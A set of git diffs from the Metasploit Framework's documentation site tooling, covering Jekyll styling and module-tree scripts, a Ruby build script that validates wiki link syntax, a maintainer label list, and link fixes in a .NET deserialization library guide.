t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_pkcs12", unique: true, where: "((type)::text = 'Metasploit::Credential::Pkcs12'::text)"
|
||||
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)"
|
||||
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))"
|
||||
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT (((type)::text = 'Metasploit::Credential::SSHKey'::text) OR ((type)::text = 'Metasploit::Credential::Pkcs12'::text)))"
|
||||
end
|
||||
|
||||
create_table "metasploit_credential_publics", id: :serial, force: :cascade do |t|
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
# Folder Purpose
|
||||
This folder contains files related to running Metasploit inside Docker.
|
||||
|
||||
# Metasploit in Docker
|
||||
## Getting Started
|
||||
|
||||
|
||||
@@ -1,29 +1,2 @@
|
||||
<style>
|
||||
#main-content p {
|
||||
text-align: justify;
|
||||
}
|
||||
<link rel="stylesheet" href="{% link assets/css/main.css %}">
|
||||
|
||||
.language-mermaid .label {
|
||||
text-transform: inherit;
|
||||
}
|
||||
|
||||
.language-msf .zp {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.language-msf .ze {
|
||||
color: #960050;
|
||||
}
|
||||
|
||||
.language-msf .zg {
|
||||
color: #859900;
|
||||
}
|
||||
|
||||
.language-msf .zs {
|
||||
color: #268bd2;
|
||||
}
|
||||
|
||||
.language-msf .zw {
|
||||
color: orange;
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
// Handle opening/closing module overview list items
|
||||
jtd.onReady(function(ready) {
|
||||
var forEach = function (list, callback) {
|
||||
for (var i = 0; i < list.length; i++) {
|
||||
callback(list[i])
|
||||
}
|
||||
};
|
||||
|
||||
// Bind listeners for expand all / collapse all functionality
|
||||
var bindToggleAll = function (selector, options) {
|
||||
var isOpen = options.open;
|
||||
var expandAllButtons = document.querySelectorAll(selector);
|
||||
forEach(expandAllButtons, function (button) {
|
||||
jtd.addEvent(button, 'click', function (e) {
|
||||
var originalTarget = e.target || e.srcElement || e.originalTarget;
|
||||
if (originalTarget.tagName !== 'A') { return; }
|
||||
|
||||
var moduleList = originalTarget.closest('.module-list');
|
||||
forEach(moduleList.querySelectorAll('.folder > ul'), function (list) {
|
||||
if (isOpen) {
|
||||
list.classList.add('open');
|
||||
} else {
|
||||
list.classList.remove('open');
|
||||
}
|
||||
})
|
||||
|
||||
e.preventDefault();
|
||||
});
|
||||
});
|
||||
};
|
||||
bindToggleAll('.module-list [data-expand-all]', { open: true })
|
||||
bindToggleAll('.module-list [data-collapse-all]', { open: false })
|
||||
|
||||
// Bind listeners for collapsing module navigation items
|
||||
var moduleStructureElements = document.querySelectorAll('.module-structure');
|
||||
forEach(moduleStructureElements, function (moduleStructure) {
|
||||
jtd.addEvent(moduleStructure, 'click', function (e) {
|
||||
var originalTarget = e.target || e.srcElement || e.originalTarget;
|
||||
if (originalTarget.tagName !== 'A') { return; }
|
||||
|
||||
var parentListItem = originalTarget.closest('li');
|
||||
if (parentListItem.className.indexOf('folder') === -1) { return; }
|
||||
|
||||
toggleChildModuleList(parentListItem)
|
||||
e.preventDefault();
|
||||
});
|
||||
})
|
||||
|
||||
var toggleChildModuleList = function (parent) {
|
||||
var list = parent.querySelector('ul');
|
||||
if (!list) {
|
||||
return;
|
||||
}
|
||||
list.classList.toggle('open');
|
||||
// Recursively automatically open any nested lists of size 1
|
||||
if (list.children.length === 1) {
|
||||
toggleChildModuleList(list.children[0])
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,159 @@
|
||||
require 'jekyll'
|
||||
require 'json'
|
||||
require 'pathname'
|
||||
|
||||
#
|
||||
# Helper class for extracting information related to Metasploit framework's stats
|
||||
#
|
||||
class MetasploitStats
|
||||
def total_module_count
|
||||
modules.length
|
||||
end
|
||||
|
||||
# @return [Hash<String, Integer>] A map of module type to the amount of modules
|
||||
def module_counts
|
||||
module_counts_by_type = modules.group_by { |mod| mod['type'].to_s }.transform_values { |mods| mods.count }.sort_by(&:first).to_h
|
||||
module_counts_by_type
|
||||
end
|
||||
|
||||
# @return [Array<Hash<String, Hash>>] A nested array of module metadata, containing at least the keys :name, :total, :children
|
||||
def nested_module_counts
|
||||
create_nested_module_counts(modules)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @param [Array<Hash>] modules
|
||||
# @param [String] parent_path The parent path to track the nesting depth when called recursively
|
||||
# i.e. auxiliary, then auxiliary/admin, then auxiliary/admin/foo, etc
|
||||
def create_nested_module_counts(modules, parent_path = '')
|
||||
# Group the modules by their prefix, i.e. auxiliary/payload/encoder/etc
|
||||
top_level_buckets = modules.select { |mod| mod['fullname'].start_with?(parent_path) }.group_by do |mod|
|
||||
remaining_paths = mod['fullname'].gsub(parent_path.empty? ? '' : %r{^#{parent_path}/}, '').split('/')
|
||||
remaining_paths[0]
|
||||
end.sort.to_h
|
||||
|
||||
top_level_buckets.map do |(prefix, children)|
|
||||
current_path = parent_path.empty? ? prefix : "#{parent_path}/#{prefix}"
|
||||
mod = modules_by_fullname[current_path]
|
||||
{
|
||||
name: prefix,
|
||||
total: children.count,
|
||||
module_fullname: mod ? mod['fullname'] : nil,
|
||||
module_path: mod ? mod['path'] : nil,
|
||||
children: mod.nil? ? create_nested_module_counts(children, current_path) : []
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# @return [Array<Hash>] An array of Hashes containing each Metasploit module's metadata
|
||||
def modules
|
||||
return @modules if @modules
|
||||
|
||||
module_metadata_path = '../db/modules_metadata_base.json'
|
||||
unless File.exist?(module_metadata_path)
|
||||
raise "Unable to find Metasploit module data, expected it to be at #{module_metadata_path}"
|
||||
end
|
||||
|
||||
@modules = JSON.parse(File.binread(module_metadata_path)).values
|
||||
@modules
|
||||
end
|
||||
|
||||
# @return [Hash<String, Hash>] A mapping of module name to Metasploit module metadata
|
||||
def modules_by_fullname
|
||||
@modules_by_fullname ||= @modules.each_with_object({}) do |mod, hash|
|
||||
fullname = mod['fullname']
|
||||
hash[fullname] = mod
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Custom liquid filter implementation for visualizing nested Metasploit module metadata
|
||||
#
|
||||
# Intended usage:
|
||||
# {{ site.metasploit_nested_module_counts | module_tree }}
|
||||
module ModuleFilter
|
||||
# @param [Array<Hash>] modules The array of Metasploit cache information
|
||||
# @return [String] The module tree HTML representation of the given modules
|
||||
def module_tree(modules, title = 'Modules', show_controls = false)
|
||||
rendered_children = render_modules(modules)
|
||||
controls = <<~EOF
|
||||
<div class="module-controls">
|
||||
<span><a href="#" data-expand-all>Expand All</a></span>
|
||||
<span><a href="#" data-collapse-all>Collapse All</a></span>
|
||||
</div>
|
||||
EOF
|
||||
|
||||
<<~EOF
|
||||
<div class="module-list">
|
||||
#{show_controls ? controls : ''}
|
||||
|
||||
<ul class="module-structure">
|
||||
<li class="folder"><a href=\"#\"><div class=\"target\">#{title}</div></a>
|
||||
<ul class="open">
|
||||
#{rendered_children}
|
||||
</ul>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
EOF
|
||||
end
|
||||
|
||||
module_function
|
||||
|
||||
# @param [Array<Hash>] modules The array of Metasploit cache information
|
||||
# @return [String] The rendered tree HTML representation of the given modules
|
||||
def render_modules(modules)
|
||||
modules.map do |mod|
|
||||
classes = render_child_modules?(mod) ? ' class="folder"' : ''
|
||||
result = "<li#{classes}>#{heading_for_mod(mod)}"
|
||||
if render_child_modules?(mod)
|
||||
result += "\n<ul>#{render_modules(mod[:children].sort_by { |mod| "#{render_child_modules?(mod) ? 0 : 1}-#{mod[:name]}" })}</ul>\n"
|
||||
end
|
||||
result += "</li>"
|
||||
result
|
||||
end.join("\n")
|
||||
end
|
||||
|
||||
# @param [Hash] mod The module metadata object
|
||||
# @return [String] Human readable string for a module list such as `- <a>Auxiliary (1234)</a>` or `- Other (50)`
|
||||
def heading_for_mod(mod)
|
||||
if render_child_modules?(mod)
|
||||
"<a href=\"#\"><div class=\"target\">#{mod[:name]} (#{mod[:total]})</div></a>"
|
||||
else
|
||||
config = Jekyll.sites.first.config
|
||||
# Preference linking to module documentation over the module implementation
|
||||
module_docs_path = Pathname.new("documentation").join(mod[:module_path].gsub(/^\//, '')).sub_ext(".md")
|
||||
link_path = File.exist?(File.join('..', module_docs_path)) ? "/#{module_docs_path}" : mod[:module_path]
|
||||
docs_link = "#{config['gh_edit_repository']}/#{config['gh_edit_view_mode']}/#{config['gh_edit_branch']}#{link_path}"
|
||||
"<a href=\"#{docs_link}\" target=\"_blank\"><div class=\"target\">#{mod[:module_fullname]}</div></a>"
|
||||
end
|
||||
end
|
||||
|
||||
# @param [Hash] mod The module metadata object
|
||||
# @return [TrueClass, FalseClass]
|
||||
def render_child_modules?(mod)
|
||||
mod[:children].length >= 1 && mod[:module_path].nil?
|
||||
end
|
||||
end
|
||||
|
||||
# Register the Liquid filter so any Jekyll page can render module information
|
||||
Liquid::Template.register_filter(ModuleFilter)
|
||||
|
||||
# Register the site initialization hook to populate global site information so any Jekyll page can access Metasploit stats information
|
||||
Jekyll::Hooks.register :site, :after_init do |site|
|
||||
begin
|
||||
Jekyll.logger.info 'Calculating module stats'
|
||||
|
||||
metasploit_stats = MetasploitStats.new
|
||||
|
||||
site.config['metasploit_total_module_count'] = metasploit_stats.total_module_count
|
||||
site.config['metasploit_module_counts'] = metasploit_stats.module_counts
|
||||
site.config['metasploit_nested_module_counts'] = metasploit_stats.nested_module_counts
|
||||
|
||||
Jekyll.logger.info 'Finished calculating module stats'
|
||||
rescue
|
||||
Jekyll.logger.error "Unable to to extractMetasploit stats"
|
||||
raise
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,133 @@
|
||||
---
|
||||
---
|
||||
|
||||
#main-content p {
|
||||
text-align: justify;
|
||||
}
|
||||
|
||||
/* Color highlighting for msf console text */
|
||||
.language-mermaid .label {
|
||||
text-transform: inherit;
|
||||
}
|
||||
|
||||
.language-msf .zp {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.language-msf .ze {
|
||||
color: #960050;
|
||||
}
|
||||
|
||||
.language-msf .zg {
|
||||
color: #859900;
|
||||
}
|
||||
|
||||
.language-msf .zs {
|
||||
color: #268bd2;
|
||||
}
|
||||
|
||||
.language-msf .zw {
|
||||
color: orange;
|
||||
}
|
||||
|
||||
/* Module overview styles */
|
||||
|
||||
.module-structure li::before {
|
||||
content: ' ' !important;
|
||||
}
|
||||
|
||||
.module-structure a {
|
||||
height: 100%;
|
||||
padding: 0.2rem;
|
||||
background-image: none;
|
||||
overflow: initial;
|
||||
display: inline-block;
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
.module-controls {
|
||||
line-height: 0;
|
||||
border-bottom: 1px solid #ddd;
|
||||
}
|
||||
|
||||
.module-controls a {
|
||||
line-height: 1;
|
||||
padding: 0.5rem;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.module-controls span {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.module-structure a, .module-structure a:hover {
|
||||
background-image: none;
|
||||
}
|
||||
|
||||
.module-structure a .target {
|
||||
pointer-events: none;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.module-structure a:hover .target {
|
||||
background-image: linear-gradient(rgba(114, 83, 237, 0.45) 0%, rgba(114, 83, 237, 0.45) 100%);
|
||||
background-repeat: repeat-x;
|
||||
background-position: 0 100%;
|
||||
background-size: 1px 1px;
|
||||
}
|
||||
|
||||
.module-structure {
|
||||
line-height: 2rem;
|
||||
}
|
||||
|
||||
/* visual indentation lines */
|
||||
.module-structure ul {
|
||||
margin-left: 7px !important;
|
||||
padding-left: 20px !important;
|
||||
border-left: 1px dashed #d1d7de;
|
||||
}
|
||||
|
||||
/* Never allow the top-most files/folders to be collapsed */
|
||||
.module-structure > li.folder > ul {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.module-structure li p {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.module-structure li {
|
||||
margin: 0;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
.module-structure ul {
|
||||
display: none;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.module-structure ul.open {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/* Default li style - files */
|
||||
.module-structure li::before {
|
||||
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64z'/></svg>");
|
||||
background-repeat: no-repeat;
|
||||
width: 1rem;
|
||||
height: 1rem;
|
||||
background-position: center top;
|
||||
background-size: 90% auto;
|
||||
margin-top: 0;
|
||||
vertical-align: middle;
|
||||
margin-left: initial !important;
|
||||
margin-right: 0.5rem !important;
|
||||
display: inline-block !important;
|
||||
position: initial !important;
|
||||
}
|
||||
|
||||
/* li style - folders */
|
||||
.module-structure li.folder::before {
|
||||
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M64 480H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H288c-10.1 0-19.6-4.7-25.6-12.8L243.2 57.6C231.1 41.5 212.1 32 192 32H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64z'/></svg>");
|
||||
}
|
||||
+76
-67
@@ -3,13 +3,14 @@ require 'uri'
|
||||
require 'open3'
|
||||
require 'optparse'
|
||||
require 'did_you_mean'
|
||||
require 'kramdown'
|
||||
require_relative './navigation'
|
||||
|
||||
# This build module was used to migrate the old Metasploit wiki https://github.com/rapid7/metasploit-framework/wiki into a format
|
||||
# supported by Jekyll. Jekyll was chosen as it was written in Ruby, which should reduce the barrier to entry for contributions.
|
||||
#
|
||||
# The build script took the flatlist of markdown files from the wiki, and converted them into the hierarchical folder structure
|
||||
# for nested documentation. This configuration is defiend in `navigation.rb`
|
||||
# for nested documentation. This configuration is defined in `navigation.rb`
|
||||
#
|
||||
# In the future a different site generator could be used, but it should be possible to use this build script again to migrate to a new format
|
||||
#
|
||||
@@ -158,6 +159,10 @@ module Build
|
||||
@links = {}
|
||||
end
|
||||
|
||||
def syntax_errors_for(markdown)
|
||||
MarkdownLinkSyntaxVerifier.errors_for(markdown)
|
||||
end
|
||||
|
||||
def extract(markdown)
|
||||
extracted_absolute_wiki_links = extract_absolute_wiki_links(markdown)
|
||||
@links = @links.merge(extracted_absolute_wiki_links)
|
||||
@@ -176,7 +181,7 @@ module Build
|
||||
new_markdown.gsub!(link[:full_match], link[:replacement])
|
||||
end
|
||||
|
||||
fix_github_username_links(new_markdown)
|
||||
new_markdown
|
||||
end
|
||||
|
||||
attr_reader :links
|
||||
@@ -295,74 +300,66 @@ module Build
|
||||
|
||||
matched_pages.first.fetch(:new_path)
|
||||
end
|
||||
end
|
||||
|
||||
def fix_github_username_links(content)
|
||||
known_github_names = [
|
||||
'@0a2940',
|
||||
'@ChrisTuncer',
|
||||
'@TomSellers',
|
||||
'@asoto-r7',
|
||||
'@busterb',
|
||||
'@bwatters-r7',
|
||||
'@jbarnett-r7',
|
||||
'@jlee-r7',
|
||||
'@jmartin-r7',
|
||||
'@mcfakepants',
|
||||
'@Op3n4M3',
|
||||
'@gwillcox-r7',
|
||||
'@red0xff',
|
||||
'@mkienow-r7',
|
||||
'@pbarry-r7',
|
||||
'@schierlm',
|
||||
'@timwr',
|
||||
'@zerosteiner',
|
||||
'@zeroSteiner',
|
||||
'@harmj0y',
|
||||
]
|
||||
# These tags look like Github/Twitter handles, but are actually ruby/java code snippets
|
||||
ignored_tags = [
|
||||
'@spid',
|
||||
'@adf3',
|
||||
'@LDAP-DC3',
|
||||
'@harmj0yDescription',
|
||||
'@phpsessid',
|
||||
'@http_client',
|
||||
'@abstract',
|
||||
'@accepts_all_logins',
|
||||
'@addresses',
|
||||
'@aliases',
|
||||
'@channel',
|
||||
'@client',
|
||||
'@dep',
|
||||
'@handle',
|
||||
'@instance',
|
||||
'@param',
|
||||
'@pid',
|
||||
'@process',
|
||||
'@return',
|
||||
'@scanner',
|
||||
'@yieldparam',
|
||||
'@yieldreturn',
|
||||
'@compressed',
|
||||
'@content',
|
||||
'@path',
|
||||
'@sha1',
|
||||
'@type',
|
||||
'@git_repo_uri',
|
||||
'@git_addr',
|
||||
'@git_objs',
|
||||
'@refs',
|
||||
]
|
||||
# Verifies that markdown links are not relative. Instead the Github wiki flavored syntax should be used.
|
||||
#
|
||||
# Example bad: `[Human readable text](./some-documentation-link)`
|
||||
# Example good: `[[Human readable text|./some-documentation-link]]`
|
||||
class MarkdownLinkSyntaxVerifier
|
||||
# Detects the usage of bad syntax and returns an array of detected errors
|
||||
#
|
||||
# @param [String] markdown The markdown
|
||||
# @return [Array<String>] An array of human readable errors that should be resolved
|
||||
def self.errors_for(markdown)
|
||||
document = Kramdown::Document.new(markdown)
|
||||
document.to_validated_wiki_page
|
||||
warnings = document.warnings.select { |warning| warning.start_with?(Kramdown::Converter::ValidatedWikiPage::WARNING_PREFIX) }
|
||||
warnings
|
||||
end
|
||||
|
||||
# Replace any dangling github usernames, i.e. `@foo` - but not `[@foo](http://...)` or `email@example.com`
|
||||
content.gsub(/(?<![\[|\w])@[\w-]+/) do |username|
|
||||
if known_github_names.include? username
|
||||
"[#{username}](https://www.github.com/#{username.gsub('@', '')})"
|
||||
elsif ignored_tags.include? username
|
||||
username
|
||||
else
|
||||
raise "Unexpected username: '#{username}'"
|
||||
# Implementation detail: There doesn't seem to be a generic AST visitor pattern library for Ruby; We instead implement
|
||||
# Kramdown's Markdown to HTML Converter API, override the link converter method, and warn on any invalid links that are identified.
|
||||
# The {MarkdownLinkVerifier} will ignore the HTML result, and return any detected errors instead.
|
||||
#
|
||||
# https://kramdown.gettalong.org/rdoc/Kramdown/Converter/Html.html
|
||||
class Kramdown::Converter::ValidatedWikiPage < Kramdown::Converter::Html
|
||||
WARNING_PREFIX = '[WikiLinkValidation]'
|
||||
|
||||
def convert_a(el, indent)
|
||||
link_href = el.attr['href']
|
||||
if relative_link?(link_href)
|
||||
link_text = el.children.map { |child| convert(child) }.join
|
||||
warning "Invalid docs link syntax found on line #{el.options[:location]}: Invalid relative link #{link_href} found. Please use the syntax [[#{link_text}|#{link_href}]] instead"
|
||||
end
|
||||
|
||||
if absolute_docs_link?(link_href)
|
||||
begin
|
||||
example_path = ".#{URI.parse(link_href).path}"
|
||||
rescue URI::InvalidURIError
|
||||
example_path = "./path-to-markdown-file"
|
||||
end
|
||||
|
||||
link_text = el.children.map { |child| convert(child) }.join
|
||||
warning "Invalid docs link syntax found on line #{el.options[:location]}: Invalid absolute link #{link_href} found. Please use relative links instead, i.e. [[#{link_text}|#{example_path}]] instead"
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def warning(text)
|
||||
super "#{WARNING_PREFIX} #{text}"
|
||||
end
|
||||
|
||||
def relative_link?(link_path)
|
||||
!(link_path.start_with?('http:') || link_path.start_with?('https:') || link_path.start_with?('mailto:') || link_path.start_with?('#'))
|
||||
end
|
||||
|
||||
# @return [TrueClass, FalseClass] True if the link is to a Metasploit docs page that isn't either the root home page or the API site, otherwise false
|
||||
def absolute_docs_link?(link_path)
|
||||
link_path.include?('docs.metasploit.com') && !link_path.include?('docs.metasploit.com/api') && !(link_path == 'https://docs.metasploit.com/')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -461,13 +458,25 @@ module Build
|
||||
|
||||
def link_corrector_for(config)
|
||||
link_corrector = LinkCorrector.new(config)
|
||||
errors = []
|
||||
config.each do |page|
|
||||
unless page[:path].nil?
|
||||
content = File.read(File.join(WIKI_PATH, page[:path]), encoding: Encoding::UTF_8)
|
||||
syntax_errors = link_corrector.syntax_errors_for(content)
|
||||
errors << { path: page[:path], messages: syntax_errors } if syntax_errors.any?
|
||||
|
||||
link_corrector.extract(content)
|
||||
end
|
||||
end
|
||||
|
||||
if errors.any?
|
||||
errors.each do |error|
|
||||
$stderr.puts "[!] Error #{File.join(WIKI_PATH, error[:path])}:\n#{error[:messages].map { |message| "\t- #{message}\n" }.join}"
|
||||
end
|
||||
|
||||
raise "Errors found in markdown syntax"
|
||||
end
|
||||
|
||||
link_corrector
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,17 +1,41 @@
|
||||
Maintainers can assign labels to both issues and pull requests.
|
||||
|
||||
### Attic
|
||||
|
||||
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
|
||||
|
||||
### Bug
|
||||
|
||||
Any PR that fixes a bug or an issue that raises awareness of a bug in the framework.
|
||||
|
||||
### Breaking Change
|
||||
|
||||
Features that are great, but will cause breaking changes and should be deployed on a large release.
|
||||
|
||||
### Code Quality
|
||||
|
||||
When a PR improves code quality.
|
||||
|
||||
### Confirmed
|
||||
|
||||
Specifically for issues that have been confirmed by a committer.
|
||||
|
||||
### Docs
|
||||
|
||||
Documentation changes, such as YARD markup, or README.md, or something along those lines.
|
||||
|
||||
### External
|
||||
### External Modules
|
||||
|
||||
Touches something in /external, or the Gemfile, or something like that.
|
||||
PRs dealing with modules run as their own process.
|
||||
|
||||
### Heartbleed
|
||||
|
||||
Has to do with heartbleed. This will go away soon, but there are three outstanding still...
|
||||
|
||||
### Hotness
|
||||
|
||||
Something we're really excited about.
|
||||
|
||||
### Library
|
||||
|
||||
Touches something in /lib.
|
||||
@@ -26,20 +50,20 @@ Plugins and scripts, anything that's not otherwise defined.
|
||||
|
||||
### Module
|
||||
|
||||
Touches something in /modules
|
||||
Touches something in /modules.
|
||||
|
||||
### Specs
|
||||
### Needs Linting
|
||||
|
||||
Has specs (an rspec test)
|
||||
The module needs additional work to pass our automated linting rules.
|
||||
|
||||
### Needs More Information
|
||||
|
||||
The issue lacks enough detail to replicate/resolve successfully.
|
||||
|
||||
### Newbie Friendly
|
||||
|
||||
Something that's pretty easy to test or tackle.
|
||||
|
||||
### attic
|
||||
|
||||
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
|
||||
|
||||
### Needs unique branch
|
||||
|
||||
Your submitted a PR from your `master` branch.
|
||||
@@ -49,4 +73,74 @@ Because of how GitHub tracks changes between branches and what got added in a pa
|
||||
git checkout -b <BRANCH_NAME>
|
||||
git push <your_fork_remote> <BRANCH_NAME>
|
||||
```
|
||||
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
|
||||
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
|
||||
|
||||
### Needs-docs
|
||||
|
||||
When a module is uploaded without a corresponding documentation file, add this label in indicate docs are required
|
||||
|
||||
### Not Stale
|
||||
|
||||
Label to stop an issue from being auto closed.
|
||||
|
||||
### Osx
|
||||
|
||||
Label for any osx related work.
|
||||
|
||||
### Payload
|
||||
|
||||
Touches something related to a payload.
|
||||
|
||||
### RN (Release notes)
|
||||
|
||||
There are a series of labels that are added to all PRs when they are landed that define the release notes for the PR.
|
||||
They are denoted by the `rn-` prefix and they are important as they are used by automation to track metasploit-framework
|
||||
statistics:
|
||||
|
||||
#### rn-enhancement
|
||||
|
||||
Release notes for an enhancement.
|
||||
|
||||
#### rn-fix
|
||||
|
||||
Release notes for a fix.
|
||||
|
||||
#### rn-modules
|
||||
|
||||
Release notes for new or majorly enhanced modules.
|
||||
|
||||
#### rn-no-release-notes
|
||||
|
||||
The PR is too small or insignificant to warrant release notes.
|
||||
|
||||
#### rn-wiki
|
||||
|
||||
Release notes for Metasploit Framework wiki.
|
||||
|
||||
### Stale
|
||||
|
||||
Marks an issue as stale, to be closed if no action is taken.
|
||||
|
||||
### Suggestion
|
||||
|
||||
Suggestions for new functionality.
|
||||
|
||||
### Suggestion-docs
|
||||
|
||||
New documentation suggestions.
|
||||
|
||||
### Suggestion-feature
|
||||
|
||||
New feature suggestions.
|
||||
|
||||
### Suggestion-Module
|
||||
|
||||
New module suggestions.
|
||||
|
||||
### Usability
|
||||
|
||||
Usability improvements.
|
||||
|
||||
### YARD
|
||||
|
||||
YARD Documentation Tasks for API Documentation.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
This page lists the keys in use by [Metasploit committers][msf-committers] and
|
||||
This page lists the keys in use by [[Metasploit committers|committer-rights]] and
|
||||
can be used to verify merge commits made to <https://github.com/rapid7/metasploit-framework>.
|
||||
|
||||
# Keybase.io identities
|
||||
@@ -118,7 +118,6 @@ Enter passphrase: [...]
|
||||
|
||||
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
|
||||
|
||||
[msf-committers]:https://docs.metasploit.com/docs/development/maintainers/committer-rights.html
|
||||
[pro-sharing]:https://filippo.io/on-keybase-dot-io-and-encrypted-private-key-sharing/
|
||||
[con-sharing]:https://www.tbray.org/ongoing/When/201x/2014/03/19/Keybase#p-5
|
||||
[tracking]:https://github.com/keybase/keybase-issues/issues/100
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Metasploit includes a library for leveraging .NET deserialization attacks. Using
|
||||
it within a module is very straight forward, the module author just needs to
|
||||
know two things: the gadget chain and the formatter. The library uses the same
|
||||
names for each of these values as the [YSoSerial.NET][1] project for
|
||||
names for each of these values as the [YSoSerial.NET][ysoserial] project for
|
||||
compatibility, although the Metasploit library only supports a subset of the
|
||||
functionality.
|
||||
|
||||
@@ -69,7 +69,7 @@ serialized = ::Msf::Util::DotNetDeserialization.generate(
|
||||
The library also has an interface available as a standalone command line tool
|
||||
which is suitable for creating payloads for single-use research purposes. This
|
||||
tool `dot_net.rb` is available in the `tools/payloads/ysoserial` directory. The
|
||||
arguments for this tool are aligned with those of [YSoSerial.NET][1], allowing
|
||||
arguments for this tool are aligned with those of [YSoSerial.NET][ysoserial], allowing
|
||||
the arguments of basic invocations to be the same. It should be noted however
|
||||
that the [supported](#support-matrix) gadgets and formatters are not the same.
|
||||
|
||||
@@ -109,13 +109,13 @@ generate functions while the `-f` / `--formatter` arguments maps to the
|
||||
## Making Changes
|
||||
|
||||
Adding new gadget chains and formatters involves creating a new file in the
|
||||
respective library directory: [`lib/msf/util/dot_net_deserialization`][2]. The
|
||||
"native" gadget chain type is implemented following the [MS-NRBF][3] format and
|
||||
the [Bindata][4] records as defined in [`types/`][5] subdirectory. Once the new
|
||||
respective library directory: [`lib/msf/util/dot_net_deserialization`][dot-net-deserialization-root]. The
|
||||
"native" gadget chain type is implemented following the [MS-NRBF] format and
|
||||
the [Bindata][] records as defined in [`types/`][dot-net-deserialization-types] subdirectory. Once the new
|
||||
gadget chain or formatter is implemented, it needs to be added to the main
|
||||
library file ([`dot_net_deserialization.rb`][6]).
|
||||
library file ([`dot_net_deserialization.rb`][dot-net-deserialization-rb]).
|
||||
|
||||
Since serialization chain generate is deterministic, a [unit test][7] should be
|
||||
Since serialization chain generate is deterministic, a [unit test][unit-test] should be
|
||||
added for any new gadget chain to ensure that the checksum of the
|
||||
BinaryFormatter representation is consistent.
|
||||
|
||||
@@ -124,15 +124,13 @@ Since the .NET deserialization gadgets run operating system commands, the
|
||||
following resources can be helpful for module developers to deliver native
|
||||
payloads such as Meterpreter.
|
||||
|
||||
* [How to use command stagers][8]
|
||||
* [How to use Powershell in an exploit][9]
|
||||
* [[How to use command stagers|./how-to-use-command-stagers.md]]
|
||||
* [[How to use Powershell in an exploit|./how-to-use-powershell-in-an-exploit.md]]
|
||||
|
||||
[1]: https://github.com/pwntester/ysoserial.net
|
||||
[2]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization
|
||||
[3]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5
|
||||
[4]: https://github.com/dmendel/bindata
|
||||
[5]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types
|
||||
[6]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb
|
||||
[7]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb
|
||||
[8]: https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html
|
||||
[9]: https://docs.metasploit.com/docs/development/developing-modules/libraries/how-to-use-powershell-in-an-exploit.html
|
||||
